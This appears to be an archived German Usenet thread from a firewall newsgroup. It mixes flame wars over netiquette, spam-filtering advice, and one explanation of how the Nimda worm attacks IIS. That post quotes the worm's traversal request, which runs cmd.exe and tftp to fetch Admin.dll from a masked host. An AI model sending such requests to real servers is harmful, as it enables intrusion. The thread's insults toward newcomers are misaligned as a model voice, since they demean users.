> geraucht? Seid Ihr 'besser' als alle anderen? WOLLT Ihr nicht helfen?
Tut mir leid dir deine Illusionen zu rauben, aber in 90% der Fälle
sind "Sie" besser als alle anderen. Helfen würden sie sicher gern,
wenn sich die Fragesteller mal ausnahmsweise auch an die Regeln halten
würden.
> Warum seid Ihr überhaupt hier? Diese Frage stelle ich mir wirklich -
> 80% offtopic rumgetobe (ich hatte ja selbiges erleben müssen) und kaum
> was sinnvolles dabei - echt scheiße!
Die Frage ist berechtigt. Frag doch mal die Leute die hier ohne Sinn
und Verstand und ohne sich um die Regeln zu kümmern einfach ihren
Mist abladen warum sie das tun. (Ich nehme mal an das du diese Leute
gemeint hast, ansonsten ergibt der Absatz ja auch keinen Sinn.)
-sebastian
--
Sebastian Wiesinger <bo...@fire-world.de>
GPG Key-ID: 0x76B79F20
Gegen Zensur: http://odem.org/informationsfreiheit/
/(bb|[^b]{2})/ that is the Question
Urs [Ayahuasca] Traenkner
Boris Nienke wrote:
> Also bevor ich jetzt endgültig aus dieser Group verschwinde:
> Wolfang hatte eine nette Frage gestellt - daraus wurde ein echte
> 'Anpisserei' die zum Himmel schreit! [...] Und dann sowas:
> >"Korrekt, Freundlich, Kostenfrei", wähle genau zwei.
> Bist Du noch ganz wach? Hast Du/habt Ihr irgendwie was falsches
> geraucht? Seid Ihr 'besser' als alle anderen? WOLLT Ihr nicht helfen?
Das Problem ist ein voellig anderes. Viele der hier Anwesenden
sind Leute, die sich mit Netzwerktechnik und Bla richtig gut
auskennen, und jeder von ihnen hat auf seinem Leidensweg
irgendwann einmal die Erfahrung mitnehmen muessen:
a) wenn Du willst, dass es funktioniert, mach es selbst
--> impliziert uebrigens, es verstanden zu haben
--> impliziert weiterhin, es sich in Form von Theorie und
Experiment vertraut gemacht zu haben
(notwendige, nicht hinreichende Bedingung i.ue.)
b) wenn Du willst, dass es funktioniert, mach es selbst
Oder auf Neudeutsch: man muss es selbstlesen, um es zu verstehen.
Nur verstandene Loesungen sind gute Loesungen.
Wenn hier Probleme aufschlagen, die sich trivial durch Lesen von
ein bis zwei Webseiten erschlagen lassen, dann muss der Link
reichen. Zugegebenermassen bist Du gerade in eine sehr gereizte
Stimmung hineingeplatzt, denn folgendes passiert haeufig:
[aus mehreren Postings von Dir zusammengeklaubt:]
>>[Glaskugel]
>>Norton PF blockt irgendwas incoming, weil frontpage 2000 aehnlich
>>beschissen wie active ftp arbeitet.
>>[/Glaskugel]
> :-)
> ja, vermutlich wird irgendein Port geblockt... aber was heißt 'ähnlich
> beschissen wie active ftp'?? Wir arbeitet 'active ftp' denn?
>> 4) überprüfe deinen Rechner laufend auf Sicherheitslücken, offene Ports etc.
> Wie?
>>3) lasse Vorsicht walten beim Surfen und bei dem was du runterlädst
>das lässt sich leider nicht so leicht beeinflussen wie man glaubt...
>schaltet man alle Feature ab, gehen viele Seiten nicht mehr - schaltet
>man sie an ist man offen für Attacken...
Usw.
Dir wurden in zwei der freundlicheren Postings folgende Links
gegeben, dir Dir vielleicht einiges (sowohl am Zustand dieser
Newsgroup als auch fuer Dein technisches Problem) erklaeren
koennten. Once again:
http://www.iks-jena.de/mitarb/lutz/usenet/Firewall.html
http://www.rz.tu-ilmenau.de/~traenk/dcsm.htm
Warum hast Du die nicht gelesen?
Nun, das kommt hier oefters mal vor, dass lieber um die lieben
Umgangsformen wild drauflos diskutiert wird, aber lass Dir gesagt
sein, derartige Diskussionen bringen _nichts_, denn Usenet ist
selbstregulierend und es ist so gut wie es ist, weil wenn es
nicht gut waere, waere es ja anders.
Und was den Spruch mit hoeflich und kostenlos und korrekt und
zwei waehlen angeht: die Jungs mit der vielen Ahnung wollen als
Ausgleich fuer so Jungs wo zu Faul zum Links lesen sind nicht
auch noch auf Wohlformuliertheit achten muessen. Da muss man mit
leben, auch wenn es manchmal weh tut.
> Warum seid Ihr überhaupt hier?
Weil es auch fuer uns [tm] durchaus spannende Diskussionen gibt.
Denkanstoesse etc. Bei den ganz harten Jungs (etc., Felix, Jonas,
Lutz (in alphabetical order)) bin ich mir nicht sicher, muss ein
Mischung aus Extrovertierheit, Masochismus, Neurose und sozialer
Ader sein.
Noch paar Kleinigkeiten:
> Aber wieso glaubt Ihr, dass ich meinen Rechner 'Firewall'-Technisch
> absicher will?
> Ich möchte den Norton laufen haben, damit bestimmte Programme eben
> NICHT online gehen ohne dass ich das vorher sehe oder gar unterbinden
> kann... und das macht das Teil eigentlich ganz gut.
Mir stellt sich immer die Frage: wozu in Dreiteufelsnamen brauche
ich Programme, die ohne mein Wissen online gehen?
>>> Ich persönlich denke, dass die Bezeichnung auch korrekt ist (völlig
>>> Wurst was in der genannten FAQ steht)
>>Dann hast Du sie nicht verstanden :(
> "Because those people are all idiots. " [etc.]
Mein Fehler. Ich hatte "sogenannte" mit der FAQ von Lutz
gleichgesetzt.
Auch hier zugegeben: Fefes FAQ ist schon arg deutlich
geschrieben. Schau mal auf http://www.fefe.de, da steht irgendwo
was von "halbesicherheit", ich hab den Link jetzt nicht im Kopf
und bin grad offline, der Text ist netter und man geht nicht
gleich so auf Distanz :)
> BTW: ich HABE weitergelesen - was mich zu einem Rückradlosen
> Volltrottel werden lässt (um bei dem Ton der FAQ zu bleiben)
[spelling flame]
Dass der Ruecken nicht aufs Rad kommt, da moechten wir aber auch
sehr drum gebeten haben! [grat heisst das Ding]
[/spelling flame]
Also Pluspunkte:
- schlechten Einstieg erwischt
[abschweif]
Hier sind von Regularseite zur Zeit doch deutliche "bad
vibrations" festztstellen. Jungs, wenn Euch dcsf irgendie
abnervt, macht mal 2 Wochen Pause. Dass hier durch die ganze
sinnlose Laberei, zu der ich jetzt prima beitrage *schulterklopf*
die technische Seite doch kurz kommt, muesste doch nicht sein.
[/abschweif]
- stilistische Verbesserungen an Quoting etc. sind zu erkennen
Und Minuspunkte:
- anscheinend noch Defizite in Verwendung mancher Termini das
Usenet betreffend. Vielleicht doch nochmal in
news:de.newusers.infos reinschauen.
- Links (die informativeren FAQs in technischer Sicht) nicht
gelesen
Neutral (Hang zum Minus):
- statt Lesen weiterdiskutiert. Verstaendlich, kann passieren,
aber nervt irgendwann.
Du hast nun zwei Moeglichkeiten der Entwicklung IMO. Your choice.
Und speziell fuer Dich mal eine ganz einmalige Signatur.
Sorry fuer zuviel OT.
fup2p, Gruss Urs...
--
Wenn Du genau weisst, dass Dich jeder fuer einen Idioten
halten wuerde, wenn Du jetzt den Mund aufmachst, dann lass
es doch einfach bleiben, denn wozu solltest Du die letzten
Bedenken ausraeumen? (sinngemaess nach $famous_person)
Harald H.-J. Bongartz
> Hatte von anderer Quelle auch den Hinweis auf den Nimda bekommen
Ist ja auch kein Wunder. Eine der Methoden, wie der Nimda-Wurm versucht,
auf einen fremden Rechner zu gelangen, ist, via IIS den tftp zu starten
(der dann selber den Wurm vom fremden Rechner holt). Die beim IIS
angeforderte URI sieht dabei ungefaehr so aus:
/scripts/..%c0../winnt/system32/cmd.exe?/c+tftp%20-i%c0xxx.xxx.xxx.xxx%c0GET%20Admin.dll%20d:\Admin.dll
Wenn dein tftp tatsaechlich gestartet wird, dann ist dein IIS zumindest
anfaellig fuer Nimda-Attacken.
HTH,
Harald
--
Harald H.-J. Bongartz <bon...@gmx.net>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Jeder Computer ist nur so gut wie das staatliche Elektrizitaetswerk.
-- CeBIT-Besucher aus Burkina Faso
Knut Knutzen
"Felix von Leitner" <usenet-...@fefe.de> schrub
> Ich sehe keinen Grund, die ganzen DAUs nicht in Sippenhaft zu nehmen und
> einfach überhaupt keinem mehr zu helfen. Von mir aus können die alle an
> ihren implodierenden Hirnen sterben.
Du bist Krank, und brauchst Hilfe
Knuti
Lutz Donnerhacke
>Ich sabotiere hier nicht.
Doch. Kommunikation.
>Ich habe einen legalen Zugang zum Internet, den ich auch monatlich
>bezahle.
Du bezahlst nicht für die Kommunikation hier. Also halte Dich an die
Spielregeln oder geh weg.
>Ich habe nur diese emailadresse angegeben, um mich vor Spam zu schützen.
Falsches Vorgehen.
>Jetzt habe ich nun meine eigene Domain eingesetzt. Aber Mails dort
>hinzuschicken bringt rein gar nichts. Die werden gebounced.
Dann nehmen wir eben <mr...@macbyte.info> statt <raab...@gmx.de>,
<raab...@web.de>, <thebi...@gmx.net>, <raab...@bigfoot.com>,
<thebi...@t-online.de> oder <mr...@macbyte-computing.de>. Ok?
>> Und das trozdem jeder Spammer deine EMail-adresse kriegen kann?
>
>Das mag wohl sein. Dafür sind bei mir jetzt RBL-Listen und procmail im
>Einsatz.
Wozu dann die Kommunikationsverhinderung für Leute, die Dir helfen sollen?
>Denn ich habe keinen Bock morgens erstmal den Spam zu entsorgen bevor ich
>anfangen kann zu arbeiten. Denn ich hatte den Fehler gemacht eine
>funktionierende eMail-Adresse anzugeben. Es hat dann keine 2 Tage gedauert
>und ich hatte ca. 30 Spammails im Postfach.
Dann ist Deine Konfiguration buggy. Fixe die.
Lutz Donnerhacke
Das mag in de.sci.medizin.ALL zutreffen, hier jedoch ist das Hilfeverhältnis
umgekehrt.
Mirko Haber
> Deine Beiträge sind ja auch eher beleidigend als unterhaltsam. Und ich
> finde es echt nett, da Du Dich selber Plonkst.
ROFL. Echt. wirklich. Der war so schlecht, dass man schon wiede drüber
lachen muß.
Wolfgang Ewert
[Fefe]
> > Ich sehe keinen Grund, die ganzen DAUs nicht in Sippenhaft zu nehmen und
> > einfach überhaupt keinem mehr zu helfen. Von mir aus können die alle an
> > ihren implodierenden Hirnen sterben.
> Ist das eine Drohung, oder ein Versprechen?!
Ein Faktum.
Wolfgang
Helmut Schneider
ROFLROFLROFL ;-)))
--
Bitte nur in die Newsgroup posten...
--
Rainer Behrendt
>Die werden gebounced.
>
>> Und das trozdem jeder Spammer deine EMail-adresse kriegen kann?
>
>Das mag wohl sein. Dafür sind bei mir jetzt RBL-Listen und procmail im
>Einsatz. Denn ich habe keinen Bock morgens erstmal den Spam zu entsorgen
>bevor ich anfangen kann zu arbeiten. Denn ich hatte den Fehler gemacht
>eine funktionierende eMail-Adresse anzugeben. Es hat dann keine 2 Tage
>gedauert und ich hatte ca. 30 Spammails im Postfach.
Das ist deine Mailadresse, oder? Schon einmal an eine GMX Adresse als
Spamfalle und an eine gelesene Adresse im Reply-to gedacht? Einfacher
geht es doch nicht.
Rainer
--
Artikel in den News sollten höchstens 72 Zeichen pro Zeile enthalten.
So sind sie auch zitiert noch gut lesbar.
----+----|----+----|----+----|----+----|----+----|----+----|----+----|-|
Juergen P. Meier
Jetzt passts ja. Seine eingene POTMASTER mailbox zu sabotirern muss
man mit sich ganz alleine ausmachen - das ist wenigstens keine
Schaedigung unbeteiligter Dritter mehr.
Nurnoch Akademisch:
> Das mag wohl sein. Dafür sind bei mir jetzt RBL-Listen und procmail im
> Einsatz. Denn ich habe keinen Bock morgens erstmal den Spam zu entsorgen
> bevor ich anfangen kann zu arbeiten. Denn ich hatte den Fehler gemacht
> eine funktionierende eMail-Adresse anzugeben. Es hat dann keine 2 Tage
> gedauert und ich hatte ca. 30 Spammails im Postfach.
Ich benutze diese Mailaddresse jetzt seit '99 im Usenet, und bekomme
pro tag im Schnitt 4 SPAM mails. (naja, gestern hat so ein verhinderter
Witzbold meine mailaddresse auf diverse Mailinglisten subscribt, das
mir das wie der SPAM auch am Arsch vorbei geht stoert ihn hoffentlich
nicht allzu sehr).
Fuer Hartnaeckigen, wiederkehrenden SPAM gibts procmail und /dev/null
(oder Bounces bei dysfunktionalen Mailservern)
Die mailaddresse, die ich auf Webseiten und sonst verwende, wird per
RBLs und striktem RFC konformitaetszwang effektiv vor 1-2 spam mails
pro tag schon auf SMTP ebene geschuetzt. Da kam in den letzten 6
Monaten nur eine einzige durch. (der Anteil der nicht-spam mails unter
den Geblockten war im gleichen Zeitraum ebenfalls 1 - und dafuer gabs
dann eben einen spezialeintrag in access.db).
Also entweder ich verwende eine Mailaddresse wo mir jeder Spam wehtun
wuerde, setze dort aber dann Spamfilter/RBLs ein, oder ich verwende
eine Addresse, wo es mir nichts ausmacht den SPAM nach /dev/null zu
entsorgen.
Nur um das mal gesagt zu haben ;)
Michael Raab
at Wed, 27 Mar 2002 21:57:14 +0100 Rainer Behrendt wrote:
> 51007611...@t-dialin.net
>
> Das ist deine Mailadresse, oder?
Ja. Ich nutze den T-Online account nicht, da T-Online in sachen
Mailszustellung IMHO lamarschig ist. Ich habe das Gefühl, das die Nachts
ihre Server abschalten.
> Schon einmal an eine GMX Adresse als Spamfalle und an eine gelesene
> Adresse im Reply-to gedacht? Einfacher geht es doch nicht.
Hmm wäre auch ne Möglichkeit.
Michael Raab
at 28 Mar 2002 06:30:11 GMT Juergen P. Meier wrote:
> Michael Raab <now...@macbyte.info> wrote:
>
> Jetzt passts ja. Seine eingene POTMASTER mailbox zu sabotirern muss
> man mit sich ganz alleine ausmachen - das ist wenigstens keine
> Schaedigung unbeteiligter Dritter mehr.
Mich schadet es in keiner weise.
> Nurnoch Akademisch:
>
> > Das mag wohl sein. Dafür sind bei mir jetzt RBL-Listen und procmail
> > im Einsatz.
>
> Ich benutze diese Mailaddresse jetzt seit '99 im Usenet,
Ich habe erst vor kurzem mit dem Usenet angefangen. Denn zu meinen
Windowszeiten wollte ich niemanden Postings zumuten, die mit einer
Windowskiste erstellt worden wären. Denn Windoof ist mit hauseigenen
Mitteln IMHO nicht gerade geeignet fürs Internet.
> Fuer Hartnaeckigen, wiederkehrenden SPAM gibts procmail und /dev/null
> (oder Bounces bei dysfunktionalen Mailservern)
ACK
> Also entweder ich verwende eine Mailaddresse wo mir jeder Spam wehtun
> wuerde, setze dort aber dann Spamfilter/RBLs ein, oder ich verwende
> eine Addresse, wo es mir nichts ausmacht den SPAM nach /dev/null zu
> entsorgen.
So gehe ich mittlerweile auch vor.
Dieter Funck
> Gruß, Killfile-Helmut (in freudiger Erwartung auf alle Trolle, mit
> defektem OjE und ohne richtigem Sigtrenner, sogar die Tastatur
> prellt!!!! TOFU spar ich mir jetzt...)
>
> ÄÖÜäöüßß (damit es auch richtig was zum Mosern gibt und die
> de.comp.security.firewall-soap möglichst unterhaltsam
> bleibt...ROFLROFLROFL)
*Den* Plonk hast du dir wirklich hart erarbeitet und redlich verdient.
PLONK
Dieter
Andreas Froede
> Hier helfen die Kranken den Gesunden?
Nein, hier versuchen permanenet irgendwelche Kranken, die einzigen Leute die
in der Lage sind Hilfeleistungen zu erbringen, anzupissen und zu vergraulen.
Und wenn man sich die Entwicklung der letzten Jahre anschaut, wird es
Euch auch gelingen.
CIAO
andreas
^L
Und es wird ein verdammt dunkler Tag für das Usenet sein, wenn Lutz
endgültig sagt: "Dann macht doch Eurer Dreck alleine"
Wolfgang Ewert
> Ich habe erst vor kurzem mit dem Usenet angefangen. Denn zu meinen
> Windowszeiten wollte ich niemanden Postings zumuten, die mit einer
> Windowskiste erstellt worden wären.
WinVN ging doch nicht schlecht? Diesbezüglich habe ich da nie Prügel
eingesteckt. Leider hat er keinen eigenen X-Newsreader-Header
hinterlassen, so dass Google aus dem Archiv da nichts zitiert (aber man
konnte die Headerzeilen frei editieren).
> Denn Windoof ist mit hauseigenen
> Mitteln IMHO nicht gerade geeignet fürs Internet.
Mit hauseigenen Mitteln sowieso nicht.
Gruß
Wolfgang
F'up2 dcsn
Rainer Behrendt
>at Wed, 27 Mar 2002 21:57:14 +0100 Rainer Behrendt wrote:
>> 51007611...@t-dialin.net
>>
>> Das ist deine Mailadresse, oder?
>
>Ja. Ich nutze den T-Online account nicht, da T-Online in sachen
>Mailszustellung IMHO lamarschig ist. Ich habe das Gefühl, das die Nachts
>ihre Server abschalten.
Ich habe meinen Account noch nie benutzt.
>> Schon einmal an eine GMX Adresse als Spamfalle und an eine gelesene
>> Adresse im Reply-to gedacht? Einfacher geht es doch nicht.
>
>Hmm wäre auch ne Möglichkeit.
Die ganz gut funktioniert. Mein From Adresse ist verbrannt. Seit mehr
als einer Woche nur bis zu 10 Spammails oder mehr am Tag. An die
Reply-to Adresse bis jetzt Null.
Rainer
--
Crosspostings in *.misc-Gruppen und andere Gruppen der gleichen
Hierarchieebene sind per Definition off-topic, da in *.misc-Gruppen
nur das hineingehört, was in keine andere Gruppe der Hierarchieebene
paßt.
Andreas Franz
> >> Schon einmal an eine GMX Adresse als Spamfalle und an eine gelesene
> >> Adresse im Reply-to gedacht? Einfacher geht es doch nicht.
> >
> >Hmm wäre auch ne Möglichkeit.
>
> Die ganz gut funktioniert. Mein From Adresse ist verbrannt. Seit mehr
> als einer Woche nur bis zu 10 Spammails oder mehr am Tag. An die
> Reply-to Adresse bis jetzt Null.
Was bei mir ziemlich gut klappt ist ein bcc-Filter per GMX: Meine
Adresse ist valide und geht wird von GMX abgeholt. Bei GMX filtere ich
dann alles, was nicht mich im "To:" Feld hat, bzw. ich im "From:" Feld
stehe.
In Verbindung mit einem Filter auf text/html herrscht dann ziemlich
Ruhe...wochenends bekomme ich aber immer diesen dämlichen
Stardialer-Dreck :-(
--
"Andreas Franz" <Andreas...@epost.de>
PGP Fingerprint: 83A1 7AE9 A9C6 B4DE C20F 3946 9D03 F17F, ID:0xC0F0D5FD
Helmut Schneider
> Security 2001 eine Alarmmeldung. Kann mir jemand vielleicht sagen, was die
> tftp.exe im Ordner system32 für eine Funktion hat? Ich weiss nicht so
recht
> welche Regel ich dazu konfigurieren soll.
Ach ja, einen hab ich noch:
Du surfst nicht zufällig an einer W2k-Server Maschine, auf der RIS läuft?!
Und die 217.90.34.227 war nicht zufällig auch Deine (lokale) T-Online-IP?!
Oder die Maschine wurde für Updates für einen CISCO benutzt?! :)
Gruß, Helmut